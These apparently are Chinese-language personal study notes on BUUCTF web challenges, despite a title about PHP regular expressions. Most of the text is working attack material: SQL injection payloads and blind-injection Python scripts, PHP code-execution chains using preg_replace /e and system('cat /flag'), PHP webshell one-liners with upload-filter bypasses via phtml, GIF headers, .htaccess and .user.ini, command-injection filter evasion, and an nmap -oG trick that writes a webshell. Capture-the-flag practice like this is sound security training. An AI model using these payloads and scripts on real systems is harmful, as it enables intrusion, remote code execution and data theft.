126个php中常用正则
首先随便输入一个username和password
点击登录,观察网页url的变化。发现请求是以get方式发送,并且传给后台username和password两个参数。
构造payload
根据传入的参数可以初步假设后台的sql语句为:
select * from user where username='$_GET['username']' and password='$_GET['password']'
由于username一般为字符串,所以可以初步假设该sql注入漏洞为字符型注入漏洞。因此可以这样构造payload。
username:' or 1=1#
password: 随便什么字符都可以,因为被注释掉了
这样一来后台的sql语句就变为了:
select * from user where username='' or 1=1#' and password='任意字符'
#后面全部注释掉了。
输入构造好的payload
得到flag
尝试一些常用的方法,比如字符型,数字型,报错,基于boolean,基于时间,order by都无法得到信息。只能得到一个Nonono的回显。
可以初步判断后台可能对一些敏感字符串如or、and、select、updatexml进行了过滤。
首先填入一些数字。1、2、3、10等等
发现无论填什么数字,返回的内容都是1,因此我们可以假设注入点不在常见的where后面,而是在前面,并且注入点附近可能进行了一个逻辑或运算。
再填入一些字符串。如abc等等
发现页面没有回显。证明这里可能是一个数字型的注入点。
由此可以判断出后台的sql语句可能为:
select 逻辑或运算(注入点) from Flag
根据网上给出的sql语句:
select $_POST[‘query’] || flag from Flag
和我们的判断形式上基本一致,至于具体如何判断出来的就要靠经验了。
由此我们可以构造一个payload。
*,1
这样一来sql语句就变为了:
select *,1 || flag from Flag
也就是:
select *,1 from Flag
学到的知识点:
- 堆叠注入时可以使用:show columns from 某个表; 来获取表的列名
- 其中如果表名为数字时,要使用反单引号(在键盘的左上角)来括起来。
例如show columns from `123`- rename table 表名 to 另一个表名,可用于修改表名。
- alter table 表名 add 列名 一些约束;
- alter table 表名 change 列名 另一个列名 类型;
- SET @变量=xxxxx
- prepare execsql from @变量,对@变量进行预处理(如编码转换),并将结果存放到execsql中。
- execute execsql,执行语句execsql。
首先使用字符型和数字型注入方法。
字符型:1’ or 1=1;#
数字型:1 or 1=1;#
发现使用字符型注入时,可以得到更多信息。因此可以判断注入点为字符型注入点。
注意千万别忘了后面的注释符号#。
使用order by来判断查询字段数。
其实看上面的网页回显已经可以初步判断查询字段数为2了。但为了保险起见,可以使用:
1' order by 2;#
1' order by 3;#
来判断查询字段数是不是真的为2。
由此我们尝试使用联合查询union,看看是否可以获得更多信息。
1' union select 1,2;#
所以我们尝试换一种思路,使用堆叠注入。
发现存在两个表格,名为1919810931114514和words。
尝试获得1919810931114514表和words表的列名信息。
1';show columns from words';#
1';show columns from `1919810931114514`;#
此时我们只要把1919810931114514表中的flag读取出来即可。
但是select语句被过滤了,因此无法直接使用union查询进行查看。这里提供两种思路。
(1)虽然无法查看1919810931114514表中的值,但是我们可以查看words表里的值。所以将words表改为其他名字,将1919810931114514表改为words,这样一来读取words就可以了。但是需要注意的是因为后台读取的是原来words中的列名,因此将1919810931114514表改为words后,还要将1919810931114514表的列名改为id和data。
(2)想办法绕过过滤机制,可以对select * from `1919810931114514`进行16进制编码
思路一:
1. 将words表名改为其他名,比如words1
rename table words to word1;
2. 将1919810931114514改为words
rename table `1919810931114514` to words;
3. 向新的words表中添加id列。
alter table words add id int unsigned not Null auto_increment primary key;
4. 将新的words表中的flag列改为data列。
alter table words change flag data varchar(100);
合并在一起为堆叠注入:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
思路二:对select * from `1919810931114514`进行16进制编码
1';SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
(1)SET只能一次对一个变量赋值。
(2)prepare…from…是预处理语句,会进行编码转换。
(3)execute用来执行由SQLPrepare创建的SQL语句。
(4)别忘了后面的#
考点:使用双写绕过字符串过滤,比如过滤union,可以这样构造uniunionon,绕过对union的一次删除过滤。
学到的知识点:
- ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ’ or ‘6,而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
- 一些具有特殊md5值的字符串,md5中0e开头的会被php当成科学计数法,因此0e后面全数字表示0的多少次幂,这样一来两个不同的字符串,只要以0e开头,他们的md5值都会被php当成相同的,值为0。(不太好用)
- md5函数对数组的处理无效,因此md5([1]) == md5([2]),传参时传入?a[]=1&b[]=2
- burpsuite中get请求转post请求方法
题解
学到的知识点:
- sql语句中一些常用的过滤绕过方法,绕过空格时,一般采用和报错注入相结合的方式
- 如何判断哪些字符被过滤了:使用一些简单的sql语句。例如:如果该语句中除了空格没有别的违规字符,如1’ #,这样也无法获取信息,那么就可以判断空格可能被绕过了。
- updatexml和extractvalue报错函数一次只能显示32个字符,因此我们可以使用left和right来分别获取左边32位字符和右边32位字符(其实一般是30个字符,因为有两位被~占了),再拼接起来(一般而言,64个字符就能拿到flag了),
例如:admin’or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
题解
学到的知识点:
- sql注入有时并不会把sql语句的执行结果回显的页面上,此时题目应该会给一下后端代码,根据代码可以构造payload来使得flag回显到页面上。
- Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567- 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆真实存在用户名的密码,从而使我们成功登录,得到 flag
- username常用名称:username,user,un,name
password常用名称:password,pass,pw
题解,这道题还可以这样构造payload:name=1’ union select 1,‘admin’,NULL#&pw[]=123
学到的知识点:
Mysql中除了select可以获取数据外,还可以使用handler来获取数据。常用方法;
handler table_name open;
handler table_name read first;
handler table_name close;handler具体使用方法
题解
学到的知识点:
- 数字型注入可以使用^来替代or。(其实还可以使用||来替代,只不过一般过滤了or也会过滤||)
- 探测sql过滤字符的方法:可以使用burpsuite来进行fuzz。fuzz方法
- id=if(表达式,a,b),表达式为真则返回a,表达式为假则返回b。可用于boolean盲注
- 盲注脚本:
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
blind_injection(url)
'''二分法求flag'''
import requests
import time
url = "http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
题解1,题解2
学到的知识点:
- or过滤的绕过方法
(1)如果是单纯的or,数字型注入可以试试^,字符型可以试试||
(2)如果是想绕过order by,可以试试group by
(3)如果是想绕过information.schema。可以试试mysql.innodb_table_stats、sys.schema_auto_increment_columns这两个表。
- 空格的绕过方法:/**/
- 二次注入:
(1)普通的sql查询
select * from users
(2)查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6union select * from users
(3)单独把第四列提出来
(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
select `4` from (select 1,2,3,4,5,6 union select * from users)a;
(4)若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;
- 注释符#、-- 的绕过方法:如果是字符型注入,可以在后面加一个’来闭合剩下的那个’,从而避免使用#
题解
考点:
学到的知识点:
- 布尔盲注的常规写法:
1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n)
1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n) ^1,在后面加上一个^1就会使得该判断的逻辑变为and,这样更符合正常的思维方式。
- 通常布尔盲注使用二分法进行爆破。
- 数字型注入点:直接1^1^1即可,字符型注入点:1’^1^'1。
import requests
import time
url = "xxx/search.php?" # 这里的xxx表示指定的url
temp = {"id": ""}
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 库名
# temp[
# "id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (
# i, mid)
# 表名
# temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
# temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url, params=temp)
time.sleep(0.04)
print(low, high, mid, ":")
if "Click" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
#超出[32,127]范围的找不到了,退出循环。还有一个作用就是,
#当某个字段被爆完之后,可以通过该语句退出循环,就没必要
#等到1000轮都执行完再退出了。
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)
print("All:", column)
题解
题解,类似于phpmyadmin4.8.1中的漏洞
学到的知识点:
- 假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
- php代码的字符串过滤绕过可以使用chr(ascii编码)来进行
- eval函数是执行php语句,一般需要用到的有val_dump,scandir,file_get_contents;system函数是执行命令语句,一般需要用到的有ls,cat。
题解
学到的知识点:
- file_get_contents函数可以被php伪协议绕过。绕过方法
- 这道题包含了php伪协议,php反序列化的知识点,是一道非常好的基础题。
学到的知识点:
is_numeric绕过方法
题解
思路:
- 打开网页发现是一段php代码,观察改代码发现可以传入两个参数text和file,这是典型的php伪协议绕过,但是存在一个问题就是file参数无法直接赋值为带flag的字符串,因此无法直接利用文件包含漏洞获取有关flag文件的内容,但是网页源码的注释中透露了一个next.php文件,因此我们可以这样构造payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php- 利用上面的payload获取next.php文件内容:
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
- 从上面的代码中可以发现,只要getFlag函数被调用了,就能传入cmd参数而导致远程RCE执行,从而获取网站的文件内容。但是观察了很久,发现没有地方调用了getFlag函数,因此可能有方法构造一个调用getFlag的漏洞。我们看主代码执行了一个complex函数,该函数可以传入两个参数re和str,而complex函数中调用了一个preg_replace函数,这个函数的/e模式下,会导致第二个参数可当作php代码执行,因此我们可以利用这个漏洞来调用getFlag函数。
- 但是第二个参数strtolower(“\1”)是不可变的,但是这里的\1可以解释为获取str中第一个满足正则表达式的字符串,所以我们可以赋值$re=\S*,意思是多个不包含空格的任意字符,$str=${getFlag()}(这里不能简单地将$str=getFlag(),因为strtolower函数中的参数是用双引号括起来的,因此会将getFlag()进行php代码解析。)这样一来第二个参数就变为了strtolower(‘getFlag()’),即getFlag(),这样就执行了getFlag()函数。
- 所以我们再传入cmd参数,即cmd=system(‘cat /flag’);(注意最后的;一定要写,而且/flag不能写成./flag)
- 最后构造的payload为:/next.php?\S*=${getFlag()}&cmd=system(‘cat /flag’);
学到的知识点:
- preg_replace 正则表达式/e模式漏洞,第二个参数会被当作php代码执行
- php中单引号不会进行php代码解析,双引号会进行php代码解析,因此当参数被双引号括起来时,可以用"${参数}"这样来抵消掉双引号的影响
- \1表示取出正则匹配后的第一个子匹配中的第一项
题解1,题解2
学到的知识点:
php伪协议可以通过添加一些字符串来绕过后端代码,而且不会影响运行。如
php://filter/convert.base64-encode/woofers/resource=flag
题解
考点:foreach导致的变量绕过漏洞
学到的知识点:
- 如果出现了foreach($_GET as $x => $y)和$$x,$$y,一般会出现变量绕过漏洞。$_GET as $x => $y的意思是,比如?a=1,那么$x=a,$y=1。$$的意思是,比如$a=‘php’,$ a = ′ x y z ′ , 那 么 " a='xyz',那么" a=′xyz′,那么"php"==‘xyz’。
- 变量绕过漏洞就是通过给别的变量$$x=$y等类似操作,导致一些重要变量,如$flag的值被其他变量得到,从而导致输出其他变量来获取$flag的值,具体看这道题就能明白。
- exit($a)函数虽然是退出函数,但他同时可以输出$a的值。
- 这道题还有一种不利用exit函数的解法,就是传入?1=flag&flag=1,因为源代码中出现的都是强类型比较,而使用get传参数的时候,如果传入1,默认:做为键:类型是 int;做为值:类型是 string
题解
考点:
学到的知识点:
- php5中intval函数无法处理科学计数法,例如intval(1e10),结果为1,但如果intval(1e10+1),结果就变为了1410065409
- $md5==md5($md5),则$md5为0e215962017。因为是md5弱比较,因此只要有一个开头为0e的,并且0e后面全是数字的数,它的md5值开头也为0e,并且0e后面全是数字。即可绕过
'''可以用以下脚本跑出md5值同为科学计数法的数'''
def run():
i = 0
while True:
num1 = '0e{}'.format(i)
num2 = md5(num1)
if num2[0:2] == "0e" and num2[2:].isdigit():
print(num1)
print(num2)
break
i += 1
- linux命令绕过方法
题解
考点:
1.绕过过滤
2.GET方法传参
思路:
- 源代码给出了三条限制:
(1)传入c的长度不能超过80个字符
(2)传入c的内容不能包括空格、tab、回车、单引号、双引号、反引号、[、]
(3)传入c中的变量或函数,只能是源代码中提供的白名单中的内容
- 根据代码,要构造一个?c=system(cat /flag)的字段来获取flag,但是system不在白名单中,cat /flag存在空格,无法绕过黑名单。
- 想到使用hex2bin来绕过,即system==hex2bin(dechex(132547964216135808088)),其中132547964216135808088是system的10进制形式,(获得方式:先将system进行16进制编码,然后再转为10进制)。这样虽然能使system绕过白名单,但是又使用了一个hex2bin这个白名单中不存在的函数。
- 使用base_convert来使得hex2bin绕过白名单,hex2bin==base_convert(37907361743,10,36),其中37907361743是hex2bin的10进制形式,至于为什么要转为36进制,我认为可能是因为36进制及其以上的字符串会与它对应的进制表示形式一样,具体来说就是’hex2bin’==36进制(‘hex2bin’)。
- 这样我们就得到了system的绕过方法的表示,即
base_convert(37907361743,10,36)(dechex(132547964216135808088))
- 同样的方式我们来绕过cat /flag。得到
base_convert(37907361743,10,36)(dechex(7840511920237448082864060468028))
- 所以我们可以构造payload:
c=$pi=base_convert(37907361743,10,36)(dechex(132547964216135808088));$abs=base_convert(37907361743,10,36)(dechex(7840511920237448082864060468028));$pi($abs)
变量名使用pi和abs也是为了绕过白名单。
- 但是这样会出现一个问题,那就是字符串的长度超过了80,因此我们这种构造payload的方式就不可行了。但是我们还可以这样构造payload:
?c=$_GET{pi}($_GET{abs})&pi=system&abs=cat /flag
这样一来我们只需要绕过_GET即可,变量相比于上面会少一个,而且,&pi=system&abs=cat /flag这段并不会算入c的长度,这样长度就会降下来。
- 同上,_GET的绕过方法为:
base_convert(37907361743,10,36)(dechex(1598506324))
- 最后得到payload为:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
长度刚好为79,感觉这道题就是让这样解的。
学到的知识点:
- GET传参的方法:比如传参为test
?test=$a=system;$b=cat /flag;$a($b)
?test=($_GET[a])($_GET[b])&a=system&b=cat /flag
GET[]可以用GET{}替代
- hex2bin:将16进制转为2进制
- dechex:将10进制转为16进制
- base_convert(内容,a,b):将指定的内容从a进制转为b进制,好像36进制及其以上,字符串的表示和对应进制表示就相同了。
题解,进制转换网站
学到的知识点:
- ngnix模板的一些文件存放位置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
- CVE-2019-9636:urlsplit不处理NFKC标准化:
- idna与utf-8编码漏洞,常见于该语句.encode(‘idna’).decode(‘utf-8’):
℆这个字符,如果使用python3进行idna编码的话
print(‘℆’.encode(‘idna’))
结果
b’c/u’
如果再使用utf-8进行解码的话
print(b’c/u’.decode(‘utf-8’))
结果
c/u文件包含支持的伪协议及其用法
思路:
两种解法:
- 利用了CVE-2019-9636:urlsplit不处理NFKC标准化,payload:
file:suctf.cc/usr/local/nginx/conf/nginx.conf
file:suctf.cc/usr/fffffflag
- 利用了idna与utf-8编码漏洞,payload:
file://suctf.c℆sr/local/nginx/conf/nginx.conf
file://suctf.c℆sr/fffffflag
注意:这道题刚好flag在usr路径下,因此达成了c/u,一般的情况下我们可以使用以下的代码来查找符合要求的字符,这也提供了一种代码审计的方法论。
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
题解1,题解2
学到的知识点:
第一层绕过:
第二层绕过:
- 发现一堆[][(![]+[])[+[]]+([![]]+[][[]])…类似的东西。这是jsfuck编码,可以将他们粘贴到控制台执行。(按F12,选择控制台)
第三层绕过:
- 如果源码中要求需要本地访问才可以,可以尝试使用X-Forwarded-For:127.0.0.1或者Client-ip:127.0.0.1,使用Client-ip:127.0.0.1时要注意它的位置要放到Connection的后面才可以。
题解
关键解题点:
- 首先必须要在index.php中传入参数source才能利用源码中的漏洞,因此要让url解析后得到index.php
payload: index.php?source
- 要绕过preg_match(‘/config.php/*$/i’, $_SERVER[‘PHP_SELF’])正则匹配
payload: index.php/config.php/一些其他字符?source
- 要利用basename不能解析开头为非ASCII码的目录的漏洞,如果遇到不能解析的目录,会返回它的上一级目录,如config.php/%80xxxx,因为%80为非ASCII码,所以basename函数不能返回%80xxx,而是返回config.php
payload: index.php/config.php/%80?source
学到的知识点:
- $_SERVER[‘PHP_SELF’]:当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar
一般浏览器都是通过$_SERVER[‘PHP_SELF’]来解析url,但是如果要访问一个网页,如index.php,那么以下两种路径都可以:
/index.php
/index.php/dosent_exist.php
- basename不能解析开头为非ASCII码的目录(ASCII码的十进制范围为0-127),因此%80(0x80为十六进制,十进制就是128),这样basename就无法解析该字符,就会返回它的上一级目录。
题解
学到的知识点:
mt_srand(seed):函数的结果是伪随机数,因此可以用工具php_mt_seed进行爆破随机数种子seed,具体方法在此。
php_mt_seed的常用四种用法:php_mt_seed 在其命令行上需要 1、2、4 或更多数字。这些数字指定了 mt_rand() 输出的约束。
- 当仅使用 1 个数字调用时,这是要为其查找种子的第一个 mt_rand() 输出。
- 当使用 2 个数字调用时,这些是第一个 mt_rand() 输出应落入的范围(按此顺序排列的最小值和最大值)。
- 当使用 4 个数字调用时,前 2 个给出第一个 mt_rand() 输出的范围,后 2 个给出传递给 mt_rand() 的范围。
- 当使用 5 个或更多数字调用时,每组 4,然后是最后一组 1、2 或(通常)4,如上处理,其中每组引用相应的 mt_rand() 输出。
题解
php伪协议的介绍
使用php伪协议即可。
php://filter/read=convert.base64-encode/resource=flag.php
学到的知识点:
- 如果查看网页源代码时,跳转页面和源代码指定页面不一致时,很有可能是跳转速度很快,此时可以使用burpsuite进行抓包,传到Reapeter模块进行查看。
- 使用php伪协议获取源代码信息的时机:必须是访问了一个文件,该文件返回了源代码信息而没有显示页面的情况下,在该页面使用php伪协议可以获取其他文件的信息。
访问Archive_room.php文件
看Archive_room.php网页源代码。
发现secret按钮的链接应该是action.php,但是前面我们看最终跳转到了end.php。因此有可能是先跳转到action.php,再跳转到end.php,只是时间太短,我们没看清。
使用burpsuite进行抓包。
访问secr3t.php
发现了flag的所在地。并且secr3t.php返回的是php源代码,因此我们可以再此页面的基础上使用php伪协议利用文件包含漏洞将flag.php的源代码内容打印出来。
http://2b5d05e3-edbd-4ff7-9b2a-54ce964cec83.node4.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
学到的知识点:
- 使用phtml可以绕过php文件的后缀名检测
- gif的文件头为GIF89a
- 一句话木马有多种写法,尝试不同写法以绕过字符过滤。
首先尝试写一个一句话木马文件kk.php上传。
eval($_POST["abc"]);
?>
使用burpsuite抓取数据包
尝试修改filename的后缀名和Content-Type字段。
php文件可以以后缀为:php,php3,php4,php5,phtml
Content-Type可以修改为:image/jpg,image/jpeg,image/png,image/gif
将后缀改为phtml,Content-Type改为image/jpg,然后发送数据包。
修改一句话木马内容。
<script language="php">eval($_POST["abc"])</script>
绕开了
网页提示这并不是一个image图片,所以很有可能后台对文件的头部和image文件头部进行了对比,发现不匹配,因此我们可以将文件头部改为其中一种image文件的头部,这里改为gif文件头部内容。
修改木马文件内容,加一个gif文件头部。
GIF89a
<script language="php">eval($_POST["abc"])</script>
学到的知识点:
- 一般这种文件上传问题,可以先试试上传一个php文件,在此基础上,修改后缀名,MIME类型等等,看是否可以上传成功
- .htaccess为Apache的一个配置文件,可以利用它来设置哪些文件可以解析为php文件。例如:AddType application/x-httpd-php .png .jpg .jpeg .gif等等
题解,不过我做的时候是要改为png后缀才能上传成功,原理是一样的。
学到的知识点:
- 使用.user.ini文件可以修改PHP_INI_ALL,PHP_INI_PERDIR 和 PHP_INI_USER数值。很容易地借助.user.ini文件来构造一个“后门”。一般对auto_prepend_file或auto_append_file加以修改。方法为:auto_prepend_file=上传的木马文件,该语句的意思是访问该网站的任意php文件(注意该php文件要和.user.ini文件在同一个目录下)时,都会先包含一下上传的木马文件。这样一来,我们只需要再去访问任意一个php文件,如index.php,那么就可以与木马文件建立起连接。.user.ini具体介绍
要注意.user.ini文件过几分钟就会过期,而且连接不稳定。需要在规定时间内多尝试几次。
- 各种常见image文件的前缀。
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47- exif_imagetype函数(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8) — 判断一个图像的类型
说明:
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。一般在文件开头加入常见的image文件前缀即可绕过。- 扫描目录:如果使用中国菜刀或中国蚁剑无法获取目录文件信息。那么可以尝试使用:
需要传入的变量名=var_dump(scandir(“/”));来扫描目录。
然后在对扫描出来的文件使用:
需要传入的变量名=system(‘cat /flag’);来扫描目录。
题解
常见的linux命令使用方法
学到的知识点:
- 绕过过滤空格的方法:
${IFS}、$IFS$9、
$IFS 一般不使用这个,因为通常空格后面还需要接一些字符串,因此容易造成变量名混淆,使用上面两个可以将IFS和后面进行隔断,因此上面两个更实用一些。
<、<>、,、%20、%09- 正则表达式:正则表达式介绍
- 可以使用变量进行字符串过滤绕过。在这道题中,使用变量可以打乱flag字符串的顺序,从而进行过滤。
修改url,观察页面变化。
添加一些常用命令,如ls
使用cat读取flag.php文件
使用IFS替换空格
我们不妨访问一下index.php,看看哪些字符串被过滤了
访问index.php
发现过滤了一些常用符号、空格、bash。并且还按字母顺序过滤了flag。因为是按字母顺序进行过滤的,因此这里可以被绕过。
使用变量进行绕过。
/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$9$a$b.php;
之所以先定义b变量,后定义a变量,是因为如果采用a=fl;b=ag,那么这段就会因为符合按f、l、a、g的顺序而被过滤掉。因此我们使用变量来调换顺序,就可以进行字符串过滤的绕过。
查看一下网页源码。
学到的知识点:
- escapeshellarg函数用于防止传入多个参数来进行攻击;escapeshellcmd函数用于防止传入多条命令来攻击。但是如果先使用escapeshellarg后使用escapeshellcmd,就会导致它们的转义相冲突,导致单引号’的转义可以被绕过,从而进行多参数攻击。具体解释,具体解释
- nmap中-oG参数可以实现将命令和结果写到文件,具体语法为:
nmap 文件内容 -oG 文件名
题解,题解
考点:
escapeshellarg与escapeshellcmd同时使用导致的问题
学到的知识点:
- escapeshellarg函数的作用是将给定的内容两边加上单引号,然后在对内容里出现的单引号进行转义,然后再在转义的两边再加上单引号。
本意是防止多参数执行,因为他在两边都加上了单引号,使得整个内容被当成一个字符串
举例:内容:127.0.0.1' -v,转为:'127.0.0.1'\'' -v'
- escapeshellcmd函数的作用是在给定内容中找到`|*?~<>^()[]{}$\、\x0A 和 \xFF。然后再它们之前插入\。单引号’ 和 双引号" 仅在不配对儿的时候被转义。
本意是防止多命令执行,因为他对可能造成多命令执行的;和||都进行了转义
举例:内容' -oG hack.php '
转为:' \<\?php @eval\(\$_POST\["hack"\])\;\?\> -oG hack.php '
- escapeshellarg,escapeshellcmd,两个函数的具体解释。同时使用他们造成漏洞可参见题目online tool。
- nmap常用命令,
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
使用方法:nmap 文件内容 -oG 文件名 或 nmap -oG 文件名 文件内容- 小tip:如果经过escapeshellarg或escapeshellcmd处理后,出现了’',表示一种连接,可以理解为空格
- 注意构造payload时,空格也非常重要,比如’ -oG xxx’,-oG前面的空格不能省略。
题解
考点:
Apache SSI 远程命令执行漏洞
学到的知识点:
- 可以通过写一些脚本来获取需要的payload。比如这道题中就是用了一段python代码来计算出符合md5值前六位为“6d0bc1”的数值。
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
- 这道题中利用了Apache SSI 远程命令执行漏洞,一般用于文件上传漏洞中,如果文件上传时过滤了php后缀,可以尝试上传一个后缀为.stm、.shtm 和 .shtml的文件,然后再访问一下上传的文件即可。其中的一句话木马为:
这种漏洞利用的前提是:
Web 服务器已支持SSI(服务器端包含)
Web 应用程序未对相关SSI关键字做过滤
Web 应用程序在返回响应的HTML页面时,嵌入了用户输入这种漏洞的特征是,返回页面中可能包括:
文件相关的属性字段
当前时间
访客IP
调用CGI程序
题解
学到的知识点:
- PHP代码执行绕过方法,一般可以分为以下几类:
(1)绕过一些指定的字符串,比如过滤了system,phpinfo等字符串。
字符串拼接绕过、字符串转义绕过、多次传参绕过、内置函数访问绕过
(2)绕过所有字母过滤。
八进制字符串转义绕过
(3)参数长度限制。
多次传参绕过
(4)单引号、双引号绕过。
多次传参绕过
(5)绕过所有字母、所有数字过滤。
异或绕过、URL编码取反绕过
- 为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable_functions了。绕过disable_functions方法
题解
学到的知识点:
第一种解法:GET、POST传参的通用解法
- 如果页面存在输入框,一般不要再输入框中将payload放进去,因为如果是以get方式提交,payload会被url编码导致payload的原意被修改(会对提交的内容再进行一次url编码),如果是get方法,直接放到url后面即可
- 正则表达式:最常用的正则表达式,正则表达式修饰符,正则表达式一般用法:/xxxx/修饰符
这道题就是因为没有加修饰符s导致可以使用%0A进行绕过,因为^只匹配第一行,$只匹配最后一行
payload:{%0A"cmd":“/bin/cat /home/rceservice/flag”%0A}- json的格式:
{“a1”:“b1”,“a2”:“b2”}
- putenv(‘PATH=/home/rceservice/jail’);语句可以修改环境变量,导致很多命令只能通过绝对路径来使用。cat命令的位置在/bin/目录下,使用which可以查找命令所在的绝对路径
第二种解法:POST传参时的一种解法
PHP利用PCRE回溯次数限制绕过某些安全限制
因为如果需要加长某个传入的变量,可能会导致该变量不能作为命令或代码执行。所以只能适用于以下几种情况:
- 单纯绕过preq_match,而不对过滤的变量进行处理的情况
- 使用json传参的情况,可以在后面加一个字段,利用它来加长。如下加入了一个nayi,利用它进行了加长。
- 可以上传文件的情况,因为上传文件后面加长不会导致一句话木马无法执行。详情可看上面的链接中的例子。
import requests
### 不知道为啥这里用 || 不可以执行我们的命令
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' ##超过一百万,这里写一千万不会出结果。
res = requests.get("http://5e92032a-578f-4a86-9ce3-f9d83f4ece6e.node4.buuoj.cn:81/", params={"cmd":payload})
print(res.text)
题解
学到的知识点:
使用中国蚁剑可以帮助获取服务器webshell
根据提示,“菜刀”和“eval($_POST[“Syc”])”可以想到使用中国菜刀来获取webshell
这里使用的是中国蚁剑
查看flag文件,得到flag
学到的知识点:
- 网页源码中一般href标签会有一些有意义的信息
- http数据包头一些字段的意义
HTTP请求头中各字段解释
打开给定链接node4.buuoj.cn:25474
查看网页源代码。
一般网页源代码中href链接会有一些有意义的信息。
搜索href,发现的确有一个php文件比较可疑。
访问该文件。
提示该数据包不是从https://Sycsecret.buuoj.cn发送的。
因此我们可以抓取该数据包,对数据包头的信息进行修改。
使用burpsuite进行抓包
加入字段
Referer:https://Sycsecret.buuoj.cn
Referer字段的作用
发现提示改为,使用Syclover浏览器。因此我们还需要修改一下User-Agent
发现提示又变化了,提示只能在本地浏览器进行浏览。因此我们加入以下字段
X-Forwarded-For:127.0.0.1
学到的知识点:
